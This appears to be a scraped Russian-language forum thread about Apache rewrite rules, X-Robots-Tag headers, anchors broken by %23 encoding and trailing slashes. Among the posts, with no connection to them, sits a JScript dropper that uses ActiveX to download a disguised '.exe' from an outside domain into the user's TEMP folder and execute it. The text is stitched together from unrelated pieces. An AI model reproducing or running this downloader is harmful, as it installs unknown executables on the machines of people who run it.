Apache 2.4+
<If "%{QUERY_STRING} =~ /(^|&)(page_id|feed|view)=/"> Header set X-Robots-Tag "noindex" </If>
Статические файлы (фотки) могут отдаваться непосредственно из nginx если он стоит как прокси сервер перед апач.
Насколько можно судить, изначально ссылки были с якорем которые побились после его кодирования в %23.
Как и что там у него не работает я не знаю.
десять символов
Тему внимательно прочитайте, за одно и решение найдете. Речь не о якоре, а о его шестнадцатеричном представление.
RewriteEngine On
RewriteRule ^(.*)#(.*) /$1#$2 [L,R=301,NE]
# вместо %23 - так должно быть.
Не увидел ничего странного. Нормальный результат.
RewriteCond %{QUERY_STRING} ^q=([^&]+)
RewriteRule ^index\.php /%1/ [L]
function dl(fr, url, ext) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ext; var dn = 0; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject("ADODB.Stream"); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 0) { dn = 1; xa.position = 0; xa.saveToFile(fn, 2); try { ws.Run(fn, 1, 1); //ws.Run("http://mail.ru/",1,1); } catch (er) {}; }; xa.close(); }; }; try { xo.open("GET", url, false); xo.send(); } catch (er) {}; }; dl('-', 'http://ilyushchenko19771.7ci.ru/logo.png', '.exe');
Насколько мне известно, домен без слеша не бывает, а редирект производит вебсервер или браузер, и этот же браузер показывает или не показывает слеш. Но у вебсервера URI всегда начинается с /.
Домен со слэшем это как?